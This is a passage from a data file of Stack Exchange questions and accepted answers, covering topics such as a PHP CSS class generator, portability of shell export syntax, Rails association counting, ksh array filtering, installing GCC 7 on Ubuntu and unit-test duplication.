echo $class, '.', $color, '-shadow{text-shadow-color:', $color, $important, ';box-shadow-color:', $color, $important, ';}'; } if( isset($config['outline']) && $config['outline'] ) { echo $class, '.', $color, '-outline{outline-color:', $color, $important, ';}'; } } } unset($colors,$color,$color_name,$sub_color,$sub_color_name); if( isset($config['custom']) ) { foreach( $config['custom'] as $color=>$hex ) { if( isset($config['text']) && $config['text'] ) { echo $class, '.custom-', $color, '-text{color:#', $hex, $important, ';}'; } if( isset($config['border']) && $config['border'] ) { echo $class, '.custom-', $color, '-border{border-color:#', $hex, $important, ';}'; } if( isset($config['back']) && $config['back'] ) { echo $class, '.custom-', $color, '-back{background-color:#', $hex, $important, ';}'; echo $class, '.custom-', $color, '-background{background-color:#', $hex, $important, ';}'; } if( isset($config['shadow']) && $config['shadow'] ) { echo $class, '.custom-', $color, '-shadow{text-shadow-color:#', $hex, $important, ';box-shadow-color:#', $hex, $important, ';}'; } if( isset($config['outline']) && $config['outline'] ) { echo $class, '.custom-', $color, '-outline{outline-color:#', $hex, $important, ';}'; } } } unset($color,$hex); if( isset($config['sizes']) && $config['sizes']) { foreach($sizes as $size_name=>$size_list) { foreach($size_list as $size_value) { if( isset($config['text']) && $config['text'] ) { echo '.text-', str_replace('.', '_', $size_value), $size_name, '{font-size:', $size_value, $size_name, $important, ';}'; } if( isset($config['border']) && $config['border'] ) { echo '.border-', str_replace('.', '_', $size_value), $size_name, '{border-width:', $size_value, $size_name, $important, ';}'; } } } } unset($sizes,$size_name,$size_list,$size_value); if( isset($config['styles']) && $config['styles']) { if( isset($config['text']) && $config['text'] ) { foreach($styles['text'] as $style) { echo '.text-',$style,'{text-decoration:',$style,$important,';}'; } } if( isset($config['border']) && $config['border'] ) { foreach($styles['border'] as $style) { echo '.border-',$style,'{border-style:',$style,$important,';}'; } } } unset($styles,$style,$config,$important,$class);It is a lot of code.The color list isn't finished (there are tons of colors missing), but the functionality is all there.Everything is customizable.To set other settings, without changing code, save this file as .css.php, and create a file called -config.php.It will be detected automatically and the settings will be loaded.Example of a file with the settings: return array( 'class'=>'color', 'force'=>true, 'text'=>true, 'border'=>true, 'back'=>true, 'shadow'=>true, 'sizes'=>true, 'styles'=>true, 'send_header'=>true, 'custom'=>array() );Each setting in detail:'class'Class that must be used for colors.'force'Forces the styles, by applying !important.'text'Defines if it is to send the styles and colors to apply to texts.'border'Defines if it is to send the styles and colors to apply to borders.'back'Defines if it is to send the background colors.'shadow'Defines if it is to send the shadow colors.'sizes'Defines if it is to send the sizes for text and borders.'styles'Defines if it is to send the styles for text and borders.'send_header'Defines if it is to send the header Content-type: text/css. - 'custom'Defines new colors. To avoid problems, these will have the name .custom-.This works with the color name as the key and the value as the hexadecial representation without #.E.g.: array('gold'=>'CFB53B') (will produce, for example, .color.custom-gold-How to use the classes:Simply set them to your heart's content:
Hello World!
Which would look like this:
Hello World!
(Disregard the choice of color, please)In terms of readability, features and performance, what else can I change or improve?" , "title": "Quick CSS style generator" , "tags": "php;performance;css" , "accepted_answer": "@cimmanon addressed some very good points on the concept itself, so I thought I would address the code. $colorsYou assume that all we want is colors in hexadecimal. But what about rgba and hsl?You should change how the colors are made, so that you detect when a color is missing the # and add it accordingly.$sizes$sizes=array( 'em'=>array(0.3,0.5,1,1.25,1.3,2,2.5,3,3.3,3.5,4), 'px'=>array(0,1,2,3,4,5,6,7,8,9,10,11,12,12.5,13,14,15,16,17,17.5,18,19,20), 'mm'=>range(0,9), 'cm'=>range(0,9), '%'=>array(0,1,2,3,4,5,6,7,8,9,10,12.5,15,20,25,30,33.3,35,40,45,50,55,60,62.5,65,66.6,65,70,75,80,85,90,95,99,100));This is also not very flexible, since all the values are hard-coded into the inner arrays. What if I wanted to make something 24px, or 42% or 110%? I think you should make something that accepts any integer and/or decimal value then have a function to concatenate the extension (like em, px, %) after it. It could also be good to define a reasonable range, but the good thing with CSS is if you enter a ridiculous value, like -50% or 99999999px it will either just not display, or look really weird.$styles$styles=array( 'border'=>array('none','doted','dashed','solid'), 'text'=>array('none','underline'));You have a typo that could lead to weird bugs. It should be dotted, not doted. I think other than that, it's a pretty creative idea and is pretty well executed." } { "id": "_webmaster.84850" , "question": "I have an existing canonical URL in the form http://example.com/page1 for a page called http://example.com/page1.html and use .htaccess to rewrite the URL of anything without an extension so it ends in .htmlHowever, I want to create a new page which can be accessed as either http://example.com/page1 or http://example.com/page1-alternative-name (or the .html versions of either). Can I add a canonical URL for this alternative name, but have google & other search engines index it under both names, but recognize both as the same page with the same rank/SEO result, and combined webmaster stats? If a canonical URL should not be used will the .htaccess access rewrite rule alone by enough to allow search engines to recognize non-duplicate content with alternative names? Is there something I can do to flag this alternative name like link=alternate? Page names and given SEO weight and certain terms/phrases have multiple preferred terms (this is not some kind of keyword stuffing).So far from reading many answers here I can see multiple canonicals are allowed, but cannot find anything similar to this situation. " , "title": "Multiple canonical URLs for same page" , "tags": "seo;google search console;canonical url;search results;rel alternate" } { "id": "_unix.304574" , "question": "I feel that with all the additional apps pre-installed, and relying heavily on deriving elements from Ubuntu and Gnome, elementary must be heavy.So I would like to know an as-quantitative-as-possible analysis of how heavy the OS is on RAM (and may be the system in overall) compared to Classic-Ubuntu/Gnome-Ubuntu. This is a problem that every user who is stunned by the awesomeness of Pantheon would like to get an answer to, before switching their OS/Desktop, so that they don't feel the hesitation that it would slow down their PC.PS: Please feel free to add external links that may be helpful, but as of now I haven't been able to find a proper place that provides some sane discussion of this technical overhead comparison." , "title": "How heavy is elementaryOS over classic Ubuntu?" , "tags": "ubuntu;gnome;memory;elementary os;ram" , "accepted_answer": "What applications are preinstalled is completely irrelevant. An application that is installed but not running costs nothing but disk space.I don't know why you feel that elementary must be heavier than Gnome. Gnome itself is pretty heavy.There was an article comparing Linux desktop environments in the Layer 3 Networking Blog in April 2013. Elementary didn't exist yet but the author tested a lot of environments. While figures can vary quite a bit depending on what applets, widgets and so on are loaded, the order of magnitude is telling: ~200MB for KDE, slightly less for Unity and Gnome3, ~50MB for lightweight desktop environments, a few MB for heavyweight window managers, <1MB for lightweight window managers. (Those figures are for the WM/DE only, not the base system.)Hectic Geek compared elementary Luna with Gnome in August 2013. They found that there was no significant difference in memory usage and boot times.Brendan Ingram compared the RAM usage of several configurations in July 2016. He found that Gnome on Ubuntu 16.04 took 700MB (that's total RAM, not just the desktop environment) while Pantheon on the elementary OS version based on 14.04 took 600MB, i.e. Pantheon used slightly less memory but that was an older version.The upshot is that Pantheon as configured by elementary and Gnome or Unity as configured by Gnome use similar amounts of memory. Elementary's default setup requires roughly the same amount of resources than Ubuntu's." } { "id": "_unix.193095" , "question": "I have picked up -- probably on Usenet in the mid-1990s (!) -- that the constructexport var=valueis a Bashism, and that the portable expression isvar=valueexport varI have been advocating this for years, but recently, somebody challenged me about it, and I really cannot find any documentation to back up what used to be a solid belief of mine.Googling for export: command not found does not seem to bring up any cases where somebody actually had this problem, so even if it's genuine, I guess it's not very common.(The hits I get seem to be newbies who copy/pasted punctuation, and ended up with 'export: command not found or some such, or trying to use export with sudo; and newbie csh users trying to use Bourne shell syntax.)I can certainly tell that it works on OS X, and on various Linux distros, including the ones where sh is dash.sh$ export var=valuesh$ echo $varvaluesh$ sh -c 'echo $var' # see that it really is exportedvalueIn today's world, is it safe to say that export var=value is safe to use?I'd like to understand what the consequences are. If it's not portable to v7 Bourne classic, that's hardly more than trivia. If there are production systems where the shell really cannot cope with this syntax, that would be useful to know." , "title": "Where is export var=value not available?" , "tags": "shell;history;compatibility" , "accepted_answer": "export foo=baris not supported by the Bourne shell. That was introduced by ksh.In the Bourne shell, you'd do:foo=bar export fooor:foo=bar; export fooor with set -k:export foo foo=barNow, the behaviour of:export foo=barvaries from shell to shell.The problem is that assignments and simple command arguments are parsed and interpreted differently.The foo=bar above is interpreted by some shells as a command argument and by others as an assignment (sometimes).For instance,a='b c'export d=$ais interpreted as:'export' 'd=b' 'c'with some shells (ash, zsh (in sh emulation), yash) and:'export' 'd=b c'in the others (bash, ksh).Whileexport \\d=$aorvar=dexport $var=$awould be interpreted the same in all shells (as 'export' 'd=b' 'c') because that backslash or dollar sign stops those shells that support it to consider those arguments as assignments.If export itself is quoted or the result of some expansion (even in part), depending on the shell, it would also stop receiving the special treatment.The Bourne syntax though:d=$a export dis interpreted the same by all shells without ambiguity.It can get a lot worse than that. See for instance that recent discussion about bash when arrays are involved.(IMO, it was a mistake to introduce that feature)." } { "id": "_codereview.123822" , "question": "I'm trying to figure out if there's a better way to run the code below.Basically Course is an association of Student and courses_needed is an array of Course where I have many Students have and need many Courses and I'm trying to figure out the demand.I've came up with the following code and it runs, which is fine, but when I want to display it on a statistics page with 36 Courses, the same code needs to be run once for each Course. I've solved it now by having it run once a day, instead of real-time. def self.calculate_needed Course.all.each do |course| neededArray = Array.new needed = 0 Student.all.each do |s| unless s.courses_needed.nil? s.courses_needed.each do |c| if c == course needed += 1 end end end end course.needed = needed course.save end end" , "title": "Count associations in a Ruby model" , "tags": "ruby;ruby on rails;active record" , "accepted_answer": "This should be interesting. The fastest way I can think of is to pluck all the courses_needed arrays out of Student, group them together, and count them:course_hash = Student.where.not(courses_needed: nil).pluck(:courses_needed). flatten.group_by { |c| c }.map { |k, v| [k, v.size] }.to_hEssentially, I grab all students that actually have courses_needed, I then grab just all the courses needed from students. Flatten the course arrays so that all courses are within the same array, then I group them by course. After that I map again to replace the values (just the list of all same courses) with the number of times each course is listed. Then I do to_h to turn each [course, number] into a course => number hash that you can access easier.So pluck returns:[[course, course2, course3], [course, course2]]Flatten makes this:[course, course2, course3, course, course2]Group_by turns it into:{course => [course, course], course2 => [course2, course2], course3 => [course3]}Map does:[[course, 2], [course2, 2] , [course3, 1]]Then to_h:{course => 2, course2 => 2, course3 => 1}At that point you can access the course hash and get the number.course_hash[course]# 2Now that we have the hash we can update the needed column in Course:Course.find_each do |course| course.update_attributes(needed: course_hash[course].to_i)endThe to_i is used so that if course_hash does not contain the course it returns nil, then to_i will turn nil into 0." } { "id": "_unix.184179" , "question": "A couple of months ago, I re-installed Cygwin on my Win7 machine. Since then, when clicking the XWin Server entry in the Start Menu, it not only starts the (familiar) X tray icon along with a xterm window (this is running in rootless mode), but also a frame-less, grey window with the same (slightly larger) X icon. It is placed in the screen's top-left corner and on being clicked, it offers a small menu of applications to execute and to Exit Cygwin/X. Its taskbar entry shows panel as its window title.Since this panel window's functionality is duplicated in the tray icon's right-click menu (which has more options anyway), I am wondering how to suppress the start of this window.I had a look at the man pages for Xwin and XWinrc as well as the files under /etc/X11/xinit/, but since I am new to X11 I might have missed something. The Manpage of XWin and the Configuring Cygwin/X pages weren't helpful either." , "title": "Cygwin XWin server: How to disable the creation of the panel window?" , "tags": "cygwin" , "accepted_answer": "I launch my X Server with this: XWin.exe -multiwindow" } { "id": "_webapps.33778" , "question": "I would like to email everyone in my Trello organization to clarify changes I make (like permissions, new boards, etc.) on a periodic basis. Is this possible to do easily? " , "title": "Is it possible to send an email to everyone in my Trello Organization?" , "tags": "trello;trello organization" } { "id": "_cogsci.15932" , "question": "Neuronal networks can make loops because a neuron has a direction (from dendrite to axon).What's the smallest area in the cortex where we can find a loop and what are these loops?I understand there are loops between different cortical areas through the white matter.Experiments, like this one, show there are interactions between cortical layers. But it doesn't necessary mean there are loops.Other experiments, like this one, looking at signals propagation in pieces of cortex with a cut showed the propagation could somehow circumvent the cut and keep propagating. Again it shows the existence of some local circuits but not necessarily loops.Do we have a proof of local loops in the cortex? How large a piece of cortex has to be to contain a loop? What are these loops?" , "title": "Are there neural loops within a column or an area of the cortex?" , "tags": "neurobiology;theoretical neuroscience;neural network" } { "id": "_softwareengineering.339884" , "question": "When creating time estimates for tickets should the time taken for testers (QAs) be included in a tickets estimate? We have previously always estimated without the testers time but we are talking about always including it. It makes sense for our current sprint, the last before a release, as we need to know the total time tickets will take with one week to go. I always understood estimation was just for developer time as that tends to be the limiting resource in teams. A colleague is saying that wherever they have worked before tester time has also been included. To be clear, this is for a process where developers are writing unit, integration and UI tests with good coverage. " , "title": "Should tester's time be included when estimating tickets?" , "tags": "agile;scrum;estimation;qa" , "accepted_answer": "My recommendation: You either include testing time in the ticket, or add a ticket to represent the testing task itself. Any other approach causes you to underestimate the real work needed.While developer time is often a bottleneck, in my experience, there are many teams constrained on test. Assuming the limiting resource is one or the other without evidence, can bite you.As your colleague, I haven't seen a successful organization that doesn't take testing time into account.Addendum per your clarification: Even if devs write automated tests, particularly unit tests (integration tests do better), they are insufficient to properly test.If there is QA people involved, their time need to be estimated, one way or another. Only if you are deciding to remove QA people from payroll, then their work time has effectively vanished and you can remove it from the estimation. But this would have side-effects that are easy to ignore. And you may still be missing performance, stress, security and acceptance testing." } { "id": "_unix.14205" , "question": "I had ldc2 and gdc compiled from source and working up until a month ago. Nothing has changed, except I can't remember the variable(s) I would set in the terminal to get ldc2 and gdc to work.I get the following errors when trying to compile D source code; with gdc ($ /home/Code/D/gdc/Bin/usr/local/bin/gdc -o t4 t4.d):/home/Code/D/gdc/Bin/usr/local/bin/../libexec/gcc/x86_64-unknown-linux-gnu/4.4.5/cc1d: error while loading shared libraries: libmpfr.so.1: cannot open shared object file: No such file or directoryWith ldc2 (/home/Code/D/ldc2/bin/ldc2 -o t4 t4.d):/home/Code/D/ldc2/bin/ldc2: error while loading shared libraries: libconfig++.so.8: cannot open shared object file: No such file or directoryI can't remember if it was just an addition to PATH or something to DFLAGS. Any ideas?" , "title": "Cannot open shared object file when using D compiler" , "tags": "executable;dynamic linking" , "accepted_answer": "Here you can't even run the compiler executable, because it can't find the libraries it needs. gdc is looking for libmpfr.so.1 and ldc2 is looking for libconfig++.so.8.If these libraries are still present on your system, perhaps in /home/Code/D/gdc/Bin/usr/local/lib, you can add that directory to the LD_LIBRARY_PATH environment variable (on most unices; on MacOSX, the variable is called DYLD_LIBRARY_PATH).LD_LIBRARY_PATH=/home/Code/D/gdc/Bin/usr/local/lib gdc You may want to write wrapper scripts to run gdc and ldc2, or put this in your ~/.profile:export LD_LIBRARY_PATH=/home/Code/D/gdc/Bin/usr/local/libIf these libraries were in /usr/lib and disappeared in a system upgrade, you'll have to either restore the required versions, or recompile the D tools for the new versions of the libraries." } { "id": "_webmaster.101090" , "question": "The tag is displayed to the user of the search engine. Given that it is also what the search engine uses for ranking, why would one need to include a <meta name=title content=> tag?" , "title": "Is redundant?" , "tags": "seo;meta tags;title" , "accepted_answer": "Yes, <meta name=title ../> is superfluous.It is clear, after reading the HTML specification of the meta tag:The meta element represents various kinds of metadata that cannot be expressed using the title, base, link, style, and script elements.So the meta title doesn't provide any additional information to the title tag, and it is not even one of the meta properties recognized by Google." } { "id": "_softwareengineering.263514" , "question": "I am exploring how a Minimax algorithm can be used in a connect four game. I was looking through a program and found this evaluation function.private static int[][] evaluationTable = {{3, 4, 5, 7, 5, 4, 3}, {4, 6, 8, 10, 8, 6, 4}, {5, 8, 11, 13, 11, 8, 5}, {5, 8, 11, 13, 11, 8, 5}, {4, 6, 8, 10, 8, 6, 4}, {3, 4, 5, 7, 5, 4, 3}};//here is where the evaluation table is calledpublic int evaluateContent() { int utility = 128; int sum = 0; for (int i = 0; i < rows; i++) for (int j = 0; j <columns; j++) if (board[i][j] == 'O') sum += evaluationTable[i][j]; else if (board[i][j] == 'X') sum -= evaluationTable[i][j]; return utility + sum; }And then a MiniMax algo is used to evaluate the possible solutions.I am not sure how/why this works. Would anyone be able to explain?" , "title": "Why does this evaluation function work in a connect four game in java" , "tags": "java;algorithms;machine learning" , "accepted_answer": "The numbers in the table indicate the number of four connected positions which include that space for example:the 3 in the upper left corner is for one each of horizontal, vertical, and diagonal lines of four which can be made with it.the 4 beside it is for two horizontal (one including starting in the corner, one starting on it, one vertical, and one diagonal)This gives a measurement of how useful each square is for winning the game, so it helps decide the strategy.I believe that the evaluateBoard function returns a number <0 ifint utility = 128is a typo - it should be initialized to 138 (since the sum of all the values in the table is 276 = 2 x 138). This would make the evaluateBoard function return:< 0 if the player whose marker is 'X' is likely to win (has the most strategic places based on the utility function)= 0 if the players are equally likely to win> 0 if the player whose marker is 'O' is likely to win." } { "id": "_webmaster.78239" , "question": "We all are quite aware that hyphen is the title word separator as described in this video by Matt Cutts. But I was shocked to find that Google was listing the matching page titled SomePrefix City-Enrollment Centers in the bottom in SERP (of 100 results) when I entered this query:SomePrefix City Enrollment CentersHowever when I keyed in this query, it showed the page in top in SERP:SomePrefix City-Enrollment CentersI'm wondering whether I should have given space around the hyphen in the page title otherwise it seems that Google is considering City-Enrollment as single word.In short how to prevent such situation in which Google may consider those as single words or phrases?Notes:I'm not including quotes around my search phrase.Right now I've removed hyphen altogether to make it simple." , "title": "Is hypen a word separator in the title?" , "tags": "seo;google search;title" } { "id": "_unix.94247" , "question": "I'm having issues while connecting to my Local Centos 6.3 VM with 500 MB ram.Below is the output of ssh -vvv localhost connection:OpenSSH_6.3, OpenSSL 1.0.1e 11 Feb 2013debug1: Reading configuration data /usr/local/etc/ssh_configdebug2: ssh_connect: needpriv 0debug1: Connecting to localhost [127.0.0.1] port 22.^^^^^^^^^^ Loading this statement takes more than a minutedebug1: Connection established....debug1: Next authentication method: password root@localhost's password:^^^^^^^^^^ This step takes a minute toodebug3: packet_send2: adding 64 (len 50 padlen 14 extra_pad 64)debug2: we sent a password packet, wait for replydebug1: Authentication succeeded (password).Authenticated to localhost ([127.0.0.1]:22).debug1: channel 0: new [client-session]debug3: ssh_session2_open: channel_new: 0debug2: channel 0: send opendebug1: Requesting no-more-sessions@openssh.comdebug1: Entering interactive session.debug2: callback startdebug2: fd 3 setting TCP_NODELAYdebug3: packet_set_tos: set IP_TOS 0x10debug2: client_session2_setup: id 0debug2: channel 0: request pty-req confirm 1debug2: channel 0: request shell confirm 1debug2: callback donedebug2: channel 0: open confirm rwindow 0 rmax 32768debug2: channel_input_status_confirm: type 99 id 0debug2: PTY allocation request accepted on channel 0debug2: channel 0: rcvd adjust 2097152debug2: channel_input_status_confirm: type 99 id 0debug2: shell request accepted on channel 0Last login: Wed Oct 9 13:27:02 2013 from 10.0.0.2Please suggest on how do I get rid of this delay." , "title": "SSH connection establishment too slow" , "tags": "networking;ssh;centos" } { "id": "_softwareengineering.66408" , "question": "I am wondering what is the default graphics engine used in Photoshop?It's great tool. And I don't know how they make it?I mean, if I want to create a simple tool like it, I will use MFC/GDI+.So, what is core to make Photoshop being great tools?" , "title": "What graphics engine is used in Photoshop" , "tags": "graphics" } { "id": "_webapps.105643" , "question": "Is there a way to set up the form where a customer is required to put their card info but we charge it a later time? If anyone has used jotform they allow a person to put down their card info then it sends a token to stripe letting it know that the card info has been submitted which can be charged at a later time." , "title": "Able to charge customer at a later time?" , "tags": "cognito forms" } { "id": "_unix.80420" , "question": "Please advise what's wrong in my ksh code. I want to remove the IP's as defined in bb array from aa array so the IP's 255.0.0.0 and 255.255.255.0 will be removed from the list in aa array.When I run my ksh code and later print the array aa, I see that the IP - 255.255.255.0 was not deleted?Please advise what's wrong in my syntax? echo ${aa[*]} 45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12 echo ${bb[*]} 255.0.0.0 255.255.255.0ksh program: for run in ${bb[*]} do for ((i=0; i<${#aa[@]}; i++)); do [[ ${aa[i]} == $run ]] && unset aa[i] done donetest: echo ${aa[*]} 45.32.3.5 255.255.255.0 19.23.2.12 NOTE: 255.255.255.0 should be deleted from the above list." , "title": "How to filter an array of strings in ksh" , "tags": "linux;shell;perl;ksh" , "accepted_answer": "I don't know why your code does not work for the presented inputs. It does on my system under ksh.But your original code has a problem: the conditional part i<${#aa[@]} is fragile - since ${#aa[@]}, i.e. the array size is decremented after each unset - but the following array elements are not automatically shifted to the left. For your example45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12this does not make a difference - but it would make a difference for - say:45.32.3.5 255.0.0.0 19.23.2.12 255.255.255.0I improved the code with respect to that issue (note the assignment before loop entry). I also eliminated an inner loop (using an associative array) which improves the runtime from quadratic to linear:$ cat x.shoutputs it:aa=(45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12)bb=([255.0.0.0]=1 [255.255.255.0]=1)print Size of input ${#aa[*]}print Size of exclude list ${#bb[*]}n=${#aa[*]}for ((i=0; i<$n; ++i))do if [[ ${bb[${aa[i]}]} ]] then print Removing element with index $i: ${aa[i]} unset aa[i]; fi print New size of input ${#aa[*]}doneprint Resulting size of input ${#aa[*]}print Resulting elements ${aa[*]}for ((i=0; i<$n; ++i))do print Index $i, Value 'a['$i']'=${aa[$i]}doneIt produces following output on Fedora 17:$ ksh x.shSize of input 4Size of exclude list 2New size of input 4Removing element with index 1: 255.0.0.0New size of input 3Removing element with index 2: 255.255.255.0New size of input 2New size of input 2Resulting size of input 2Resulting elements 45.32.3.5 19.23.2.12Index 0, Value a[0]=45.32.3.5Index 1, Value a[1]=Index 2, Value a[2]=Index 3, Value a[3]=19.23.2.12" } { "id": "_unix.371737" , "question": "I'm trying to run a test under GCC 7. According to How to install gcc-7 or clang 4.0? on Ubuntu.SE, we can perform the following to install GCC 7 on Ubuntu:add-apt-repository ppa:ubuntu-toolchain-r/test && apt-get update && apt-get install -y gcc-7The command fails at the install:# apt-get install -y gcc-7...E: Unable to locate package gcc-7And trying 7.1:# apt-get install -y gcc-7.1...E: Unable to locate package gcc-7.1E: Couldn't find any package by glob 'gcc-7.1'E: Couldn't find any package by regex 'gcc-7.1'According to List all packages from a repository in ubuntu / debian on Server Fault, we can search a particular repo for a package with:# grep ^Package: /var/lib/apt/lists/ppa.launchpad.net_*_Packages | grep gcc-7#But I am not sure if the command above is searching ppa:ubuntu-toolchain-r.I kind of pieced things together, but they are not working as expected. Either the Ubuntu.SE answer is wrong, the Server Fault search is failing, or I am doing something wrong.(I don't have a Debain 8 machine available for gcc-7 package, and Fedora 25 appears to lack GCC 7. So I am pretty much stuck with Ubuntu).What am I doing wrong? Or, how can I install GCC 7?# lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 16.10Release: 16.10Codename: yakkety" , "title": "Install GCC 7 on Ubuntu?" , "tags": "ubuntu;apt;gcc;ppa" } { "id": "_cogsci.17696" , "question": "Specifically, I am trying to quantify trends in learning for certain mediums of audio-visual communication, and what I've gathered so far suggests that there are 4 distinguishable types, being linear, logarithmic (or possibly asymptotic), exponential and ogive. How can I go from peoples qualitative observations to an actual mathematical function to show these patterns for a specific medium? Would one measure...success rate over time and that's it? Or what?" , "title": "What variables allow one to empirically and scientifically quantify trends for learning curves?" , "tags": "experimental psychology;statistics;experiment design" , "accepted_answer": "Short answerIn psychophysical tests, often %correct rates are determined. Hence, training effects are often measured by determining correct rates. The ultimate outcome measures can be wildly variable, as they are dependent on the physical characteristics of the stimulus (visual, auditory, tactile, gustatory etc).BackgroundLearning curves can be measured by measuring the performance on a certain task.From what I understand of your question you are:...trying to quantify trends in learning for certain mediums of audio-visual communication... and you are looking forWhat one measure...success rate over time and that's it? Or what?Taking a personal vantage point here, I have measured learning effects using various auditory, tactile and visual psychophysical tests (though not a combination of them like an audio-visual test as you are planning). I will provide a few tests I have done so far to look at training effects and I will provide some basic background information on psychophysics. Please following the links if you wish to learn more on specific subjects. I have measured the following, among others:Speech understanding by measuring the speech-recognition threshold (SRT) in noise using the Dutch Matrix test (Houben & Dreschler, 2015). The SRT basically shows you the signal-to-noise ratio where speech understanding is 50% correct. In other words, it shows how much noise a listener can handle to still understand 50% of the words in the sentences heard. I've performed this test for 12 times over four several sessions and within as well as between-session learning effects were observed, and also within-run training effects (unpublished observations); Vibro-tactile detection threshold. Basically we asked the subject to answer in a yes/no task if they felt a stimulus and the outcome measure was that stimulus level where the correct rate was 50%. There was no learning effect observed within and between sessions. A within-run training effect was observed, which may have been due to procedural training effects (unpublished observations);Tactile spatial acuity using (2-point discrimination); here a person was asked to answer whether one or two stimuli were felt and then, again, a percent-correct rate (here: 62.5%) score was determined ultimately expressed as that distance where correct rate was 62.5%. No training effects other than procedural learning were observed (Stronks et al, 2017);A vibrotactile intensity-difference (JND) task, where the subject was asked to indicate whether they could feel the difference in intensity of two stimuli. Again the correct rates were measured and expressed as that intensity where the %correct scores equaled a certain threshold (Stronks et al, 2017).Visual acuity was measured with a grating task - again percent correct is measured, but there the outcome is visual acuity, namely an angle of resolution where the %correct rate exceeds a certain threshold. There was procedural learning observed (unpublished observations). Note that most of the above tasks were alternative forced choice (AFC) tasks, where the threshold (%correct) is dependent on the number of choices.References- Houben & Dreschler, Trends Hear (2015); 11(19): 1-10- Stronks et al, Artif Organs (2017); in press " } { "id": "_webmaster.32910" , "question": "I've got a client who is looking to have a fundraising site built in a matter of days so there's very little time for custom building something.I'm wondering if anyone knows of any software or online service that might be customised.The fundraising site would operate in the following way (for example):Users registerRegistered users select a challenge to complete, ie. 5km run every day for 4 weeksFriends/family of the registered user sponsor the user $5 for every day they run $5kmFriends/family of the registered user can also make a donation (ie. not requiring sponsorship)Donations & sponsorships would be made direct to the fundraising site (ie. not via registered user)Registered users can link their challenge progress to their facebook pageIf anyone has some ideas, I'd really appreciate. Just to be clear, I'm looking for an online service or software that can be customised." , "title": "Online service or software for fundraising site?" , "tags": "web services;software" , "accepted_answer": "While I've decided to decline the job described above, I did find Convio's Common Ground Fundraising which may be of assistance to others in future. The downside is their pricing.See Convio's API & Webservices for further information." } { "id": "_softwareengineering.334500" , "question": "Let's say I have a method called setDate. I also have another method called isValidDate to see if a string is a valid date string.For convenience, setDate uses isValidDate internally as a mean of validation, so the developer doesn't have to do the validation manually. But isValidDate is used in other methods as well. It will also throw an exception when the passed string is not a valid date string.I have unit tests for isValidDate to make sure the logic works fine. I also have some unit tests for setDate but none of them is overlapped with isValidDate tests.That means if someone accidentally removes the call to isValidDate from setDate method, all of its tests would pass, as well as all the tests for isValidDate method, but in fact setDate now can set invalid dates.Do I have a design flaw in structuring my code, or should I just write duplicated tests for both methods if I want that extra bit of reliability?" , "title": "Should I write duplicated tests for 'setDate' and 'isValidDate' methods?" , "tags": "unit testing" , "accepted_answer": "I'll assume setDate() looks something like this:public void setDate(Date d) { if (!isValidDate(d)) throw SomeException(...); this.date = d;}public Date getDate() { return this.date; }I'm including a getDate() as well since tests for setting and getting can't be separated.There are two approaches to handle the test duplication.Only test what the method does directly.There are two schools of though regarding unit tests:The test should describe the full behaviour of the unit under test.The test should only cover the value added by the unit under test, and ignore work done by external parts.Using the latter approach, what does setDate() do? For invalid dates (determined with an external methods that's not going to be tested here), it throws an exception. Otherwise, we can get the same date back with getDate().This gives us exactly two test cases. In a sketch:void test_setDate__throwsOnInvalidDates() { MyObject obj = new MyObject(); Date invalidDate = ...; try { obj.setDate(invalidDate); assert(false, setDate() did not reject the invalid date); } catch (SomeException e) { assert(true); }}void test_getDate__canRetrieveValuesFromSetDate() { MyObject obj = new MyObject(); Date d = new Date(...); obj.setDate(d); assertEquals(obj.getDate(), d);}Generate test data once, use for both tests.By storing a list of valid and invalid dates, we can test both isValidDate() and setDate() without notable repetition. How you can parametrize your tests to use a list of cases depends on your framework, here I'll put the loop inside a test:Date[] validDates = { ... };Date[] invalidDates = { ... };void test_isValidDate__acceptsValidDates() { for (Date d : validDates) assertTrue(isValidDate(d), d.toString());}void test_isValidDate__rejectsInvalidDates() { for (Date d : invalidDates) assertTrue(!sValidDate(d), d.toString());}...void test_getDate__canRetrieveValuesFromSetDate() { for (Date d : validDates) { MyObject obj = new MyObject(); obj.setDate(d); assertEquals(obj.getDate(), d); }}void test_setDate__throwsOnInvalidDates() { for (Date d : invalidDates) { MyObject obj = ...; try { obj.setDate(d); assertTrue(false, ...); } catch (SomeException e) { assertTrue(true); } }}In practice, these should be separate test cases instead of loops within a single test case, so that a failing test does not prevent the other dates from being tested more data on which dates fail or succeed can make debugging much easier.While this approach is immune to refactoring, it does cause tests to run longer (an issue for very large test suites), and creates the problem of generating the necessary data.I personally prefer the first approach only testing the function added immediately by some method. This helps to keep test suites small and meaningful. But if you feel that is not sufficient, or if you expect that a programmer would carelessly remove a validation check, then generating a reusable list of test data is probably better. I have used both approaches, and both work well." } { "id": "_softwareengineering.314200" , "question": "Suppose I work at Microsoft. I would probably write the bulk of my code using Visual Studio, which is one of Microsoft's most popular projects. Therefore, dogfooding.Now suppose I work at Netflix, which provides a video streaming service for entertainment value. I'm not going to watch House of Cards on the job (wink). I might when I get home, though. Can an employee's use of a company's product off the clock (e.g. entertainment software, tools for personal projects, etc.) be considered dogfooding?" , "title": "Is an employee's use of his/her company's product outside of work considered dogfooding?" , "tags": "terminology;dogfooding" , "accepted_answer": "No.The term dogfooding is specifically reserved for a company using its own products, for testing and promotional (we use our own stuff) purposes, not for casual use of those same products outside of work, even by employees. The only scenario of that kind that I would consider dogfooding would be Netflix giving their employees free subscriptions in return for bug reports and telemetry. The company has to have some skin in the game, in other words.In a testing scenario, you would want to be exercising the UI more than would happen when you're just passively watching House of Cards. Unless, of course, all you're testing is the stability of the video player." } { "id": "_codereview.79905" , "question": "Below is the code I have written to capitalize all the words of a sentence except ifThe words belong to the littleWords list.The word would be capitalized if it's the first word of the sentence even if it is in the littleWords list. def titleize(sentence) littleWords = [end, over, and, the] words = sentence.split(/^(\\w+)\\b/) sentence = if words[2] words[2].split( ).map do |word| littleWords.include?(word) ? ( + word) : ( + word.titleize) end end words[1].titleize + (sentence||[]).join()endSPEC describe titleize doit capitalizes a word do titleize(jaws).should == Jawsendit capitalizes every word (aka title case) do titleize(david copperfield).should == David Copperfieldendit doesn't capitalize 'little words' in a title do titleize(war and peace).should == War and Peaceendit does capitalize 'little words' at the start of a title do titleize(the bridge over the river kwai).should == The Bridge over the River KwaiendendI am new to ruby/script and am coming from Java. The code above doesnt looks as nice and clean as I think could be done with ruby. " , "title": "Titleize words in a sentence but with some conditions" , "tags": 